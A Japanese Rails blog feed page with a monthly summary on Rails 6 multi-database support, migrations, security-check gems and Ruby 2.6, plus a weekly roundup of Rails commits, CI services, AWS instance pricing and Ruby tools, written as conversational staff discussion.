Quantcast
Channel: Ruby on Railsの記事一覧|TechRacho by BPS株式会社
Viewing all 1410 articles
Browse latest View live

月刊Railsウォッチサマリー: 2018/11(社内勉強会)

$
0
0

こんにちは、hachi8833です。BPS社内勉強会でmorimorihogeさんが発表した「月刊Railsウォッチサマリー」の2018/11版を元にお送りします。

反応がよければ月刊として定着させたいと思いますので、皆さまからのフィードバックやご要望を@morimorihogeまたは@hachi8833までぜひお寄せください🙇


morimorihogeコメント(テンプレ):
社内発表は12月頭にやってたのですが、色々とこねくり回してたら2月になってしまいました💦

Railsウォッチを毎週やっている中では、時によっては半分以上がマニアックな話題に終始してしまうことがあり、普段のWeb開発業務に直接役立つ知識を追いかけている人にとってはノイズに思えてしまう部分も多いと思います(ノイズの中にも面白いネタが転がっているので意図的にやってるのですが)。
「面白さ」を追求する週刊Railsウォッチに対して「実用性」を追求した月刊サマリーとでもご理解下さい😉

※なお、ピックアップしているトピックや内容の重要度については多分に僕個人の価値観が含まれるため、業務でのご利用の際は皆様一次ソースをご確認の上自己責任でご利用下さい。

⚓週刊Railsウォッチ(20181105)

週刊Railsウォッチ(20181105)DBマイグレーション9つのコツとハマった話、Railsのモデルとディレクトリの設計ほか

この回は「公開つっつき会」でした。ご参加頂いた皆様ありがとうございました。

⚓Railsの複数DB接続対応化

Rails 6で予告されている目玉機能のひとつに「複数データベース接続のサポート」があり、それに関連する改修が引き続き盛んに行われています。Rails 6そのもののリリースはしばらく先の話でしょう。

上で取り上げたPR #34196もそのひとつで、postgres://fooのようなURL風の接続文字列をサポートするようになりました。

前回のウォッチサマリー↓でもご紹介したconnects_toconnected_toも複数データベース対応のひとつで、特定のブロック内でだけデータベース接続先を変更できるメソッドです。もっともメソッド名などは今後まだ変わるかもしれませんが。

月刊Railsウォッチサマリー: 2018/10(社内勉強会)

この時点で見た限りでは、connection周りについてはおおよそ出来上がってきたように見受けられますが、migrationについてはまだ議論が続きそうな雰囲気です。

⚓複数DB対応の意義

Rails 6で複数データベースに対してread/write/migrationを行えるようになると、外部システムとのデータベース連携で従来必要だったgemが不要になるということになります。なお、従来はswitch_pointやoctopusなどのgemが使われていました。Rails 6のやり方はswitch_pointに近い感じなので、switch_pointを使ったことのある人には理解しやすいのではないかと思います。

複数データベースには、いわゆるmaster/slaveデータベース対応も含まれるので、シングルデータベースであっても負荷分散機構として利用することも可能になります。

morimorihogeコメント)
個人開発やスタートアップフェーズの開発といった「普通の」「素直な」Railsアプリケーション開発ではあまり複数DBを扱うことはないかもしれませんが、サービスが拡大してきたり既存システムとの密結合を要求されるケースでは複数DBを扱うケースがままあります。

複数DB対応は全てのRailsアプリケーションに必要なものではないため、個人的にはRails coreに入れるべきなの?という気持ちはあります(switch_point等のgemとして、拡張として使えばいいのでは?というもの)。
ただ、Rails本体が複数DB対応を前提として設計されなおすことにより、ActiveRecord周りに手を入れるようなgemも自ずと複数DB対応を迫られることになるため、元々複数DB対応が要求されるようなより複雑なRailsアプリケーションでも安心して使えるgemが増える、というエコシステムの流れができるかもしれません。

どちらにしても、Rails 6.0への移行時、DB周りに手を入れるようなGemについては動作検証を含めた注意が必要になるでしょう。

⚓マルチデータベースの事例

Railsでマルチデータベースを扱う経験のある人がここにどのぐらいいるかはわかりませんが、morimorihogeの場合たとえば以下のような事例を経験したことがあります。

  • 機密情報を含むデータベースを通常のデータベースと分離する
  • 既に稼働している別システムのデータベースにread onlyで参照アクセスする

Railsシステムに限らずシステムを設計するうえでは、強く密結合する外部システムが存在する場合には複数データベース接続はひとつの手段として使えるということと、Rails 6からはそれを標準で行えるようになることは押さえておきたいポイントだと思います。

morimorihogeコメント:
昨今の流行りだと、複数システムを横断するデータアクセスはmicroservicesだのJSON APIだのgRPCだのGraphQLといった話が盛んです。
確かに、データベースを共有するシステム設計は互いのシステムを密結合にしてしまい、後々のお互いのシステム改修を難しくしてしまうことがあります。
以下、具体的な密結合の例です(わかっている人は読み飛ばしてOK)。

例えば、既存のlegacyAというシステムがあり、新しくmodernBというシステムを作る際にlegacyAのデータを参照したいとしましょう。
modernBからlegacyAのデータベース(RDBMS)を直接参照する設計にした場合、legacyAのコードを一切変更することなくmodernBの開発者は慣れたSQLインターフェースを使ってlegacyAのデータにアクセスすることができます。
これは一見単純かつ手っ取り早い解決策であり、良さそうな設計に見えます。

しかし、legacyAの開発がもう100%凍結されていて一切修正が行われることがないということであれば問題ないのですが、もしlegacyAのテーブル構造変更を伴う改修が発生した場合、legacyAの改修がmodernBの障害を引き起こす原因になる可能性があります

とても具体的な話をすると、例えばSELECT * FROM users;というSQLはカラムが追加されることで結果の列数が変わるため、破壊的な変更になる可能性があります。

他にも「今までnoteというカラムはVARCHAR(20)だったけど、現場からもっと長い文字列を入れたいと言われたのでVARCHAR(100)にする」といった一見大したことのない改修でも、例えば連携先システムでPDF帳票を出力していた場合にはnoteを埋め込んでいた部分の文字がはみ出てしまったりする障害の原因になるかもしれません。

このように「legacyAにとっては大したことのない改修」が「modernBにとってはエラーや障害の原因になってしまうことがある」という状況をお互いに密結合していると呼ぶわけです。

せっかくなので、密結合の対義語である疎結合についても考えてみましょう。
まさに疎結合のアプローチこそが最初に上げたmicroservicesやJSON API、gRPCやGraphQLといった技術になります。
これらのアプローチでは、システムごとの責任範囲を機能面・データ面ともに明確に切り離し、お互いに越権したことをできないようにシステム設計上制限をかけることになります。

基本的にどの手法もそれぞれのAPIを通じて相互のシステムにアクセスしますが、逆にAPIで定義されていないことは一切できないというのが技術的な制限事項になります。これにより、そもそも想定されていないデータアクセスはできなくなりますし、もし新たな機能を追加・改修することになってもAPIの仕様変更を利用しているシステム側に連絡すれば良いことになります。

これであれば、legacyAのシステム改修を行う場合、modernBに提供しているAPIの仕様に変更がないのであれば特に連携せずに改修ができるという状態にできます。こうしたあるシステムが他のシステムに与える影響が限定的なアーキテクチャを疎結合と呼びます。

システム開発においてはコミュニケーションコストの割合が膨大になりますので、疎結合というのは将来的な継続的改修を考えると結果として良い選択肢になることが多いと言われます。

ただし、疎結合システムが全てのケースで密結合システムを上回っているかというとそれは前提条件(既存システムを)次第という点もあるため、どちらのシステムも一長一短あり、ケースバイケースで選択していく判断力がアーキテクトには求められるところです。

⚓Railsアップグレードへの影響

複数DB接続対応化がRails 6へのアップグレードに与える影響についてです。

Rails 6では破壊的変更が多数行われますが、おそらくシングルデータベースのRailsアプリであればdatabase.ymlの更新ぐらいで済むのではないかと思われます。

こちらは今後の流れもあるので何とも言えませんが、既にswitch_pointやoctopusなどのマルチデータベース系gemを使っているプロジェクトは、Rails 6へのアップグレード自体がつらくなる可能性が考えられます(少なくともoctopusはRails 6に対応しないことが確定していますが、移行ガイドを出す予定だそうです)。マルチデータベースが必要な新しいプロジェクトでは、後からRails 6にアップグレードする際のアップグレードオーバーヘッドを検討しておく必要があるでしょう。

⚓マイグレーション周りのTips

RailsガイドにもRailsのマイグレーションについての事細かなノウハウまでは掲載されていません。実戦的なマイグレーションのハマりポイントや回避手段などについて知っておきたい人は、上のウォッチエントリにかなり詳しくまとめられているので読んでおくとよいでしょう。

詳しくは記事に譲りますが、少なくとも以下について知らないまたは経験のない人は読んでおくことをおすすめします。

  1. Migrationの中でActive Recordを使って初期データをセットする時の注意
  2. Migrationファイルのタイムスタンプはどうやって決定されるか
  3. Migrationファイルを新しく作るべきか、既存のmigration ファイルを編集すべきか問題
morimorihogeコメント:
DBのマイグレーションは個人や少人数の開発者で開発している分にはハマりどころが少ないのですが、チーム開発や環境が複雑になってくると気をつけないといけないことが増えてきます。

特に、既にmaster branchまで入ってしまったmigrationファイルを修正するのはリリース済みのプロジェクトでは色々とあちこちに不整合を起こしてしまう可能性が高いので、リリース済みのプロジェクトに途中参加する場合はプロジェクトの開発ルールやプロジェクトチームの中ではどのように運用しているのかなどを確認すると良いでしょう。

⚓1. Migrationの中でActive Recordを使って初期データをセットする時の注意

マイグレーションファイルの中で、Active Recordを使って既存のデータを参照・加工して、それを初期データとしてデータベースに設定したいなんてことはよくあります。

たとえば、ECサイトのusersテーブルにpremiumやstandardといった会員のランキングのカラムrankを追加するとします。そしてrankカラムのデフォルト値は、それまでの購買数や購入額を元にpremiumかstandardに決定されるとします。買物額が多い会員はpremium扱いになるというわけです。

こうしたマイグレーション処理で過去の購入額などを取り出すときにActive Recordのモデルを使ってしまうと、ずっと後になってからつまづきの原因になりうるという話を上の記事でしています。将来そのモデルが統廃合されてしまったら、そのマイグレーションファイルは当然動かなくなってしまうからです。

⚓2. Migrationファイルのタイムスタンプの決定法

rails g migrateで生成するマイグレーションファイル名のタイムスタンプには、rails generateコマンドを実行した環境のローカル時間が使われます

そして、rails db:migrateでマイグレーションを実行すると、マイグレーションはファイル名のタイムスタンプ順に愚直に実行されます。

チーム開発で複数の開発者が次々にマイグレーションをコミットすると、マージのタイミングによってはマイグレーションファイル同士の実行順序が原因で運悪くコンフリクトを起こす可能性があるという話を上の記事でしています。このあたりに鼻を利かせておくと身を助けることがあると思います。

⚓3. Migrationファイルを新しく作るべきか既存のmigrationファイルを編集すべきか

開発中に自分の環境でカラムを追加したり削除したりすることはよくありますが、その際に既存のマイグレーションファイルを編集していいのかどうか、という話です。

これはよく議論になる話なのですが、会社やプロジェクトにもよってポリシが異なる点かとおもいます。

morimorihogeは「少なくとも既にマージされたマイグレーションファイルは編集すべきではない」という意見です。

「マージされていても編集してよい」というプロジェクトであっても、既存のマージ済みマイグレーションファイルを無断で変更すると確実にチームに迷惑がかかるので、やる前にチームに一声かけるべきでしょう。
# Aさんのローカルだけではうまく動くけど、他の人の環境ではうまく動かない、という問題の原因になることがあります

⚓セキュリティチェック系gem

弊社のように多数の請負案件を抱えている場合、対策のための工数を捻出するかどうかよりも先に、潜在リスクを少しでも先行して把握するための手軽な手段として、こうしたセキュリティチェック系gemは有用だと思います。

継続的にメンテナンスされているプロジェクトであれば、少なくとも以下の定番セキュリティチェックgemをCIなどで週に1回は回して結果をSlackに投げることはしておく価値があるかもしれません。

  • Rails向け
    • brakeman: 静的解析で怪しいコードを指摘してくれる
    • bundler-audit: bundleされているgemの更新をチェックしてくれる
  • JavaScript向け
    • yarn audit: yarnに含まれてるチェックツールぽい
morimorihogeコメント:
セキュリティ周りは心配し始めるとキリがないのですが、重要なのは全てのセキュリティ警告に対して100%対応しなければいけないかという話ではなく、そもそもどれくらいのセキュリティリスクがあるのかを可視化し、把握できるようにしておくことだと思います。

インターネットに公開されていない社内向けシステムなどであれば外部犯による攻撃リスクは低いので、全てを技術的な改修に委ねるのではなく、NDAや内部統制によって対策するというのも一つの選択肢ではないでしょうか。

⚓週刊Railsウォッチ(20181112)

週刊Railsウォッチ(20181112)Ruby 2.6.0-preview3リリース、非同期スレッドのテストはつらい、MySQL 8のGROUP BYほか

この回はそれほど大きなネタはなかった感じです。

細かいところだと、rubocopのオプションで--safe-auto-correctというのがあり、これを使うとほどほどの範囲でオートコレクトを実行してくれるという話題がありました(Rubocopによる自動修正の注意点)。いきなりproductionのプロジェクトにかけて100%安全なのかは保証しかねるのでご利用は自己責任で。


他に、bootstrap.nativeという、BootstrapでjQueryを使わずに素のJavaScript(いわゆるVanilla JS)版のBootstrap向けライブラリを導入できるものもありました(bootstrap.native: Bootstrap 4でjQueryを使いたくない人に)。

Bootstrapは公式のJavaScript系コンポーネント(カルーセルやダイアログなど)ではjQueryが必須なのですが、jQueryをどうしても入れたくない人たちがこういうライブラリを作っているようです。最近のRailsアプリではWebpackerを使っていればjQueryを導入しないことも多いかと思うので、そういうプロジェクトではこうしたES5互換のライブラリを使ってみるのもよいかもしれません。今後そのライブラリが継続的にメンテナンスされるかどうかにもよりますが、jQueryを入れるとあちこちにjQueryを使ったコードが撒き散らされるリスクを抑えることができると思います。

morimorihogeコメント:
jQueryは一時代を築きましたが、それが故にJavaScriptエンジニアというよりはjQueryエンジニアと呼んでも良いくらいにjQuery依存した人達も生み出したように思えます。

個人的には限られた範囲でちょろっと使う分には今でもそれほどアレルギーはないのですが、世の中の流れ的に最近は積極的に使うことが減ってきた感があります。

⚓Ruby 2.6登場間近

Ruby 2.6のリリース時期が間近に迫ってきました。慣例に従えば今年もクリスマスにリリースされるでしょう。

Ruby 2.6については以下のjnchitoさんの記事にとても詳しく書かれていますのでそちらもご覧ください。

⚓主な見どころ

この他にも多数の更新がありますが、普通にRubyのコードを書いていれば特に変えなければならないところはないと思います。

新機能を使うかどうかは別にして、ともかくチェックしておくとよいでしょう。

  • Bundler 1系がRubyに組み込まれた

この変更で、gem install bundlerしなくてもデフォルトでBundlerを使えるようになります。

なお、今回Rubyに組み込まれるのはBundler 1系ですが、現在進められている2系はGemfileに完全前方互換性がないようですので、こちらも注意点となります。

今後世の中全体で使われるBundlerが完全に2系に移行完了するまでは、Bundlerのバージョンには注意を払っておくべきだと思います。プロジェクトで先行して2系が使われる可能性などもありますので。

  • --jitでJITにオプションが有効に

JITをRailsで使うかどうかについてですが、JITの性質上Railsアプリケーションのような大きなアプリケーションではあまり劇的な効果はないかと思います。
場合によってはJITの処理が合間合間に挟まってくる関係で、NewRelicやrubyprofのようなプロファイラの処理結果が安定しなくなってしまうなども考えられるため、productionにいきなり入れるというよりは、大規模なデータを変換するようなバッチ処理などのJITが効きやすい処理について、チューニングが必要になったタイミングでの選択肢の一つとして考えるのが良さそうです。

  • yield_selfthenというエイリアスが追加

参考↓。

Ruby 2.5の`yield_self`が想像以上に何だかスゴい件について(翻訳)

⚓週刊Railsウォッチ(20181119)

週刊Railsウォッチ(20181119)レビューでチェックされる非効率な書き方、Local Storageは使うなほか

⚓ブラウザのLocal Storage

同記事では特に新しい話は出ていないと感じましたが、これまでブラウザのLocal Storageを使ったことのない人や、JSフロントエンドの経験の少ない人は一度目を通しておくとよいかもしれません。

ブラウザのLocal Storageのポイントは、KVS(キーバリューストア)であること、文字列しか入れられないのでオブジェクトを入れるにはserialize/deserializeが必要であるという点です。

従来のcookieと比べれば容量が大きいのですが、それでも4MB程度しか保存できませんし、serializeのオーバーヘッドも含めれば、保存できるデータ量はこれを下回るでしょう。

Local Storageは、同じドメイン内で任意JavaScriptを実行されると全データにアクセスできてしまうので、secureな平文データの保存は危険です。なお、別ドメイン由来のJavaScriptコードからはLocal Storageにアクセスできません。

Local Storageはキャッシュ的に使われることがありますが、キャッシュにプライベートな情報が含まれることのないようにしておく必要があります。そうした情報をあえて保存するのであれば、サーバーから暗号・復号化用の鍵を提供して、暗号化した情報をキャッシュとしてLocal Storageに保存するなどの対応が考えられます(鍵はLocal Storageには保存しない)。ここは推測ですが、Gmailなどはそうした工夫を行っているのではないでしょうか。

morimorihogeコメント:
localStorageはかなりプリミティブなインターフェースしかないので、リッチなアプリケーション開発ではストレージ層をwrapしたライブラリなどを組み合わせて使うことになるんでしょうか。

使ってみること自体はお手軽なので、触ったことがなければ試してみるのは良いと思います。

⚓Google SheetsのQUERY関数

これは小ネタで、知ってる人は昔から使ってたようですが、意外に有用かもしれません。

Google SheetsではSQL風のクエリが書けます(あくまでSQL「ライク」ではありますが)。これは、アプリの仕様書などをGoogle Sheetsで管理している場合に有効な使いみちがありそうです。morimorihogeとしては、「あの」VLOOKUP()を使わずに書けるのがとても嬉しい点です。

参考: QUERY - ドキュメント エディタ ヘルプ


support.google.comより

基本的にはVisualization APIのクエリが書けるようになっています。SQLは使い慣れているがExcel関数に不慣れな(あるいはVLOOKUP()のようなExcel系関数がキライな)エンジニアにとって便利そうです。

参考: Query Language Reference (Version 0.7)  |  Charts  |  Google Developers

なお、このSQL風クエリはGoogle Sheetsでしか利用できないので、当然ながらExcelブックに書き出すとクエリを使った部分は動かなくなります。事前の納品物確認などで、Excelで完全に動作が再現できるものを求められる場合は残念ですが諦める必要がありそうです。
Excelフォーマットであればクエリが動かなくても良いのであれば、値として書き出しすることは恐らく可能なので開発チーム内部でのデータ作成はSheetsを使ってもいいかもしれませんね。

morimorihogeコメント:
ExcelもGoogle Sheetsも程々に使いこなせるととても便利なので、ちょっとしたデータ処理手段の一つとして手札に入れておくと素早く質の高いアウトプットを出すのに役立つと思います。
普段プログラミング言語を触っていると神ExcelとかExcel方眼紙の話を聞いて敬遠しがちではあるのですが、ツールはツールと割りきって触るという寛容さも時には身を助けるかも?

⚓「現代的な」JavaScript入門系リソース

morimorihogeコメント:
最近大学の非常勤でJavaScript開発を教えているのですが、プログラミングの初心者向けに現代のJavaScriptを勉強してもらうための手頃な教材が以外にそんなにありません。
※既にある程度別のプログラミング言語を習得している人向けの書籍や解説はあるのですが「はじめてのプログラミング」かつ「ES5以降」向けとなると少ないです。

教えてるのはCS系学部ではなくメディア系の学生なので、ガチガチの上から下まで解説されたプログラミング本よりは、内容は浅くて良いのである程度実用的で長大過ぎず、かつ日本語の教材が望ましいのです。
js-primerの内容はwebpackやbabelなどにいきなり手を広げずに、pureなES5の内容となっておりとても手頃だなと感じます。

「はじめてのプログラミング」の自習向けとしてはやや難しいと感じるところはありますが、大学の授業などの誰か解説・レビューしてくれる人がいる前提で使うのであればとてもよく纏まっているので重宝しています。


他の現代的なJavaScript入門リソースとして、ProgateにもES6のinteractive courseもあります(途中から有料になります)。プログラミング経験のない方はこちらで学ぶとよいでしょう。

参考: JavaScript | プログラミングの入門なら基礎から学べるProgate[プロゲート]


その他にもいろいろあさってみた限りでは、mozillaのMDNの資料が現時点では総合的に最もよくまとまっているように思えました。サンプルコードも豊富で、日本語翻訳の質も高いので、最初にjs-primerで学んでから、わからない点をMDNで追うのがよいでしょう。

参考: 開発者向けのウェブ技術 | MDN

⚓(2018/11/26)

(この回はお休みをいただきました)

バックナンバー

月刊Railsウォッチサマリー: 2018/10(社内勉強会)

関連記事

Ruby 2.5の`yield_self`が想像以上に何だかスゴい件について(翻訳)


週刊Railsウォッチ(20190212)EnvoyとIstioに大注目、SQLQLとは、buildkite.comのCI、さよならItanium、PWA vs Androidほか

$
0
0

こんにちは、hachi8833です。ドラフト作成中に月曜が祝日だということに気づいて日付↑を直しました。

  • 各記事冒頭には⚓でパーマリンクを置いてあります: 社内やTwitterでの議論などにどうぞ
  • 「つっつきボイス」はRailsウォッチ公開前ドラフトを社内有志でつっついたときの会話の再構成です👄
  • 毎月第一木曜日に「公開つっつき会」を開催しています: お気軽にご応募ください

公開つっつきにお集まりいただいた皆さまありがとうございます🙇。今回は予想を超えた濃厚かつハイレベルなやりとりがバルク転送的な勢いで繰り広げられて、私はすっかり振り落とされてしまいました😇。果たしてどこまで書き起こせるか。今回は結果的にインフラ成分がかなり多めとなりました。

⚓Rails: 先週の改修(Rails公式ニュースより)

今回はコミットリストから見繕いました。

⚓ActionViewのメモリリーク修正第一弾


#35032より

これもAction Viewの修正なので一緒に↓。


つっつきボイス:「おー地道にメモリリークを修正!」「この間から@tenderloveさんがActionViewを改修してたのはもしかしてこれをやりたかったのかなと」「Railsのメモリ消費が減るのはとてもいいこと😊

⚓CollectionProxy#concatがselfを返すよう修正

CollectionProxy#concatCollectionAssociation#concatのドキュメントには「selfを返すからメソッド呼び出しをチェインしてもよい」とあるが、実際には引数の配列を返していた。
このPRでは前者をArray#concatの挙動に合わせることでドキュメントのとおりになるようにし、後者についてはドキュメントから該当部分を削除した。
同PRより大意


つっつきボイス:「お、CollectionProxy#concatをメソッドチェーンできるようにしたのか」「CollectionProxyってhas manyのときのヤツかな」「以下の<<のエイリアスメソッドを足してる↓」「#concatはそんなに積極的には使わないかな〜」

参考: concatActiveRecord::Associations::CollectionProxy

# activerecord/lib/active_record/associations/collection_proxy.rb#L1031
      alias_method :push, :<<
      alias_method :append, :<<
+     alias_method :concat, :<<

⚓terminal-to-htmlの古いURLを更新

微修正ですが。


buildkite.github.ioより


つっつきボイス:「terminal-to-htmlって?」「私も知らなかったんですが、テストでスクショを表示するサービスか何かのURLが古かったんでちょい修正した感じで」「おー、ターミナルにスクショを表示するヤツか」「あーなるほど!そんな機能があったとは〜」

「そういえばこのbuildkiteって自分たちもCIで使ってるし」「それってCircleCIみたいな?」「それとは少し違って、それぞれのエージェントで動いているものの結果を管理できるとかそういう感じ: たとえばEC2の上でエージェントを動かして、そこでDockerを落としてきて、結果を取るとか」「つまりCIに限らない?」「基本はCIですけどね: たしかSmartHRさんがわかりやすい記事書いてて、元々Shopifyが使い始めたとか何とかで(↓スライド)」「へ〜」

参考: Rails のテスト実行時間を60分から6分に短縮するまで - SmartHR Tech Blog

「あーなるほど、↓パイプライン管理がメインなのか」「そういえばGitLab CIも最近はこういうことができるようになってたし☺」「CircleCIで苦しくなってきたら欲しくなる感じ」「CircleCIってパワーが不足気味って言われたりしますね」

Buildkite は一般的な CI サービスと異なり、このサービス自体はビルドの実行は担わず、主としてビルド全体のパイプライン管理を行うことに特化しています。 ビルドの実行のためには Buildkite の Agent を実行したマシンを用意します。Agent の数はユーザが任意の数立ち上げることが可能になっています。
SmartHR記事より

「buildkiteはCircleCIよりはお高いけどその分速くて、お値段にはEC2のランニングコストも含んでるけど、土日にEC2を回さないホワイトな職場なら割安になるし💰」「なるほど、それはEC2が分単位の課金になったのが大きいっすね」「これは自分たちのAWSアカウントで回せる?」「ですね」「ならReserved Instancesとかも使えそう😋

参考: リザーブドインスタンス(RI)- Amazon EC2 | AWS

「ちなみにAWSこの辺の値段ってしょっちゅう変わるんですが😅、最近だとConvertible Reserved Instancesっていうのがなかなかよくて、今までのReserved Instancesだと買ったときのインスタンスサイズから変えられなかったのが、たとえばmediumが2でlargeが4みたいにユニット単位で購入して、ユニットを混ぜたり分割したりできるんですよ」「お〜!」「オークションで買うのってまた別のやつでしたっけ?」「それはスポットインスタンスですね🧐」「なお、Reserved Instancesは最近売ることができるようになったので売って新しいのを買うことができますが、Convertible Reserved Instancesは売らなくても変更できます😋」「なるほど!」「Convertible Reserved Instancesは割引率はちょっと低いけどそんなに悪くないと思うし」

参考: リザーブドインスタンス がどのように適用されるか - Amazon Elastic Compute Cloud
参考: スポットインスタンス - Amazon Elastic Compute Cloud

⚓マウントアプリへのルーティングパスと正しくマッチしないことがあったのを修正

\bは語の区切りに使う正規表現ショートハンドですね。

以下↓も関連しそうなのでここに。(|)の中に入れるものを長い順に修正したんですね。

はじめての正規表現とベストプラクティス#5(特別編)`|`と部分マッチのワナ


つっつきボイス:「なるほど、/assets/foo.png/assetsfoo.pngのどちらにもマッチしてしまってたバグ」「どうやってこのバグを踏んだのやら😆

⚓名前付きスコープのチェインでクラスレベルのクエリ送信メソッドがリークしていたのを修正

# 同PRより
class Topic < ActiveRecord::Base
  scope :toplevel, -> { where(parent_id: nil) }
  scope :children, -> { where.not(parent_id: nil) }
  scope :has_children, -> { where(id: Topic.children.select(:parent_id)) }
end

# ちゃんと動く
Topic.toplevel.where(id: Topic.children.select(:parent_id))

# 動かない: `toplevel`から`Topic.children`にリークする
Topic.toplevel.has_children

つっつきボイス:「kamipoさんの修正でした」「kamipoさんもよくこういうの見つけるな〜: しかも割とヤバそうなバグもあったりして、しかもそれを修正してるという」「ですね〜」「頭が下がる」「こういうスコープチェイン周りのバグってつらいですね: たまたま上みたいな組み合わせのときに起きるみたいなのとか😭

⚓リレーションがArelメソッドに応答しないよう修正


つっつきボイス:「Arelにみだりに触らないでねみたいなことなんでしょうか?」「Arel触るぐらいなら生SQL書くし😆

⚓Rails

今回「2019年の定番gemと不要なgemは?」というお題を用意してたのですがインフラ系の話が盛り上がりまくったので順延とします🙇

⚓ActiveRecordのscope_attributesとは


つっつきボイス:「社内Slackで話題になったので」「そうそう、これ欲しかったヤツ😋」「これを使うしかない状況になりたくないけど😆

「なはは、クラスメソッドとして定義するんだけどチェインしたときだけ動いて欲しかったんですよー: モデル.メソッド名で雑に取れて欲しくないみたいな」「ははぁ、スコープで欲しいというか」「ですです: スコープで、かつチェインされたときだけ1件返して欲しかったという」「言われてみれば確かにできるけど、あんまし使ったことない😆」「scope_attributesってソース見るとnodocとか書いてあるから、おおっぴらに使って欲しくないのかなと思ったり」

⚓Railsコードでの正規表現乱用


つっつきボイス:「マネーフォワードさんの技術記事ですが、主に正規表現を使いすぎというお題でした」「Rubyは記述の自由度が高いから好きという人が多いので、こんなふうにやりあってるのを見るのがまた楽しいというか😆

⚓DHHがsource mapをデフォルトで有効にすることに(Ruby Weeklyより)


つっつきボイス:「Webpackerのsource mapをデフォルトにするって、productionで?」「のようです」「へぇ〜」「issueもちょっとざわついてるようです」

「source mapをproductionで使いたくない人っています?source mapには座標情報しかないから元のファイルは復元できないはずだし」「その場所でしか使えないはずだったし」「ならproductionでsource mapが入ってても別にどうということはなさそうだけど?🤔」「アセットのプリコンパイルが少々遅くなるとかはあるかもだけど」

参考: webpackでsource-mapを表示できるようにする - Qiita

⚓Action CableでPumaがおかしくなった話(Ruby Weeklyより)


つっつきボイス:「目を引くタイトル」「へー、ファイルディスクリプタを1023個までしかオープンできない: そんな制約があったとは」「OSの制限っぽい?」「でしょうね」「Action Cableがたくさんファイルを開くというのはありそうな話だし、性質上開きっぱなしになることも多いし」「あーたしかに」

「そういえば以前やってたサービスが15分ぐらい瞬断したことがあったけど、たしかPubNubとかいうやつがコネクションをがっちり掴んで離さないというワイルドなことをやってくれてファイルディスクリプタを使い切ったことがあったし: 仕方がないのでunicorn-worker-killerを入れてメモリが一定以上になったら殺すみたいな感じでしばらく乗り切ったことがありましたね😎」「おお〜今どきunicorn-worker-killerに頼ることになろうとは😆」「😆」「今も非常用に残してるし」「たしかにunicorn-worker-killerときどき欲しくなることあるし😅

参考: PubNub - Wikipedia

参考: unicorn-worker-killerが便利だった件 · zephiransasのチラシの裏

⚓その他Rails



つっつきボイス:「(ゲストに)そういえば銀座Railsにもよく顔を出してるんでしたっけ?」「銀座Rubyが主だけど銀座Railsも行ってますね」「お、そうでしたか😅」「銀座は機会があれば行きたいけど、なかなか機会がなくて😅

⚓Ruby

⚓sruby: Rubyの縮小セット

なお、つっつき後いつのまにかリポジトリが以下に移動していました。


つっつきボイス:「実装というより、こういう縮小セットRubyが欲しいみたいな青写真っぽいです」「継承なし、再帰なし、リエントラントなし…」「CRubyの他にJRubyとmrubyもしっかり活動してるぐらいだから、さらに別のがあってもいいのかも?」「mrubyはCRubyとはまた少し違うといえば違うけど」

⚓「散らかった引き出し」クラスを避けるには(RubyFlowより)

最近は抽斗って書いても通じなさそう。


つっつきボイス:「Junk Drawer!」「オープンクラスで開きまくるのやめれとかそういう話?」「だったらRuby使わないければいいのに🤣」「🤣」「🤣」「concernにconcernを重ねまくったらメソッド名がかぶったとかだったりして」「Rubyでモジュール使ってるとよく起きますけどね😅」「そうそう、つらいヤツ😭」「モジュールの名前空間をきれいに管理するしかないし」

⚓email_inquire: Ruby製メアドバリデータ(Ruby Weeklyより)

gmil.com => hint gmail.com
hitmail.com => hint hotmail.com
outloo.com => hint outlook.com
virinmedia.com => hint virginmedia.com
同リポジトリより


つっつきボイス:「これは?」「メアドのバリデータっぽいです」「あー、メールのありがちなタイポを検出するのか: foo@domain..comとかぐらいならRFCチェックでいいだろうけど」「上みたいにGmailのメアドをgmil.comとタイポしたのをチェックするんですって: しかもヒントつきで」「hotmailをhitmailとか😆」「😆」「本当に存在するアドレスだったらどうすんだろう😆」「まあそういうのはたいていスパムサイトだったりするし😎

「これはなかなかオモシロイ😋」「味わいある👅

⚓apparition: Chrome DevToolベースのCapybaraドライバ(Ruby Weeklyより)

apparition (n.) 幻影, 幽霊, おばけ; (幽霊などの)出現.


つっつきボイス:「あぱりしょん?」「この種のドライバ周辺って、poltergeistとかghostなんとかみたいにオバケがらみの名前が妙に多いですよね?」「 そうかも」「CDPってChrome DevTools Protocolか」

参考: Chrome DevTools Protocol Viewer

「たしかにChromeドライバを使うときにSeleniumドライバを別名に変えて使うから、これはSeleniumドライバを使わずにやれるってことか」「使いたくない理由って何かあるかしら🤔」「Selenium通さない方が速いから?」「あ、それあるかも」「そしてインターフェイスはCapybara互換だからあまり気にせずに使えるんだろうし😋」「使ったらテストが速くなりそう?」「そう思って入れるとテストが落ちるというパターンも😆」「😆」「誰か使ってみないかなー☺

⚓その他Ruby


つっつきボイス:「これはDI話」「こういうの好きかなと思って」「DIそこまで好きじゃないヨ😆


つっつきボイス:「Rackを解説してるのが珍しいかなと思って」「おぉ、これは貴重💎」「貴重💎」「意外と少ないんでしょうか?」「昔の解説ならいっぱいある😆」「新しいのがあまりないのか〜」

「その意味だと、Pumaのソースコード解説があったら読みたいなって思うし」「わかりみ」「Railsサーバーってこれでどうして動いているのかよくわからないことあるし😅

同リポジトリより



以下はつっつき後に見かけたツイートでした。

⚓Ruby trunkより

⚓zero?== 0より遅い


つっつきボイス:「zero?== 0より遅いってマジで?」「mameさんが==VMインストラクションだから速いって」「たしかに〜」「速くて当然か」「言われてみれば」「今後MJITを通せば同じ速度になるかも」

⚓Ruby 2.6.1のBundlerに不具合

Trunkではありませんがここに。


つっつきボイス:「早くもバグ🐛

⚓クラウド/コンテナ/インフラ/Linux/Serverless

⚓GoogleがKubernetesクラスタでSparkアプリ実行をサポート


spark.apache.orgより

参考: Apache Spark - Wikipedia


つっつきボイス:「例のApache Projects(ウォッチ20180925)のひとつらしいので強いのかなと思って」「Spark知らんけど😆、デカいデータをバルクで処理するとかそういうの?: 同じくApacheのHadoopと並べられているぐらいだからそれっぽい🤔

「まーApache Projectsだからスゴイということでもなくて、完全に息をしていないプロジェクトなんかもざらにありますけどね☺」「そうそうApache Projectならではというか😆、ゾウの墓場みたいになってるところもありますし🐘」「沈みかかった船から『この子をお願いします👶!』みたいに託すみたいな😆」「ApacheのCassandraとか今も開発されてるんだろうか?サイト見ると更新はされてるっぽいけど」「Apache Projects、強いヤツは強いんでしょうね」「強いプロジェクトがアクティブさをもっとアピールしてくれたらいいのに」「記事はGCPがくばねてでSparkを云々だけど、使ったことがある人がいなくてよーわからん😆

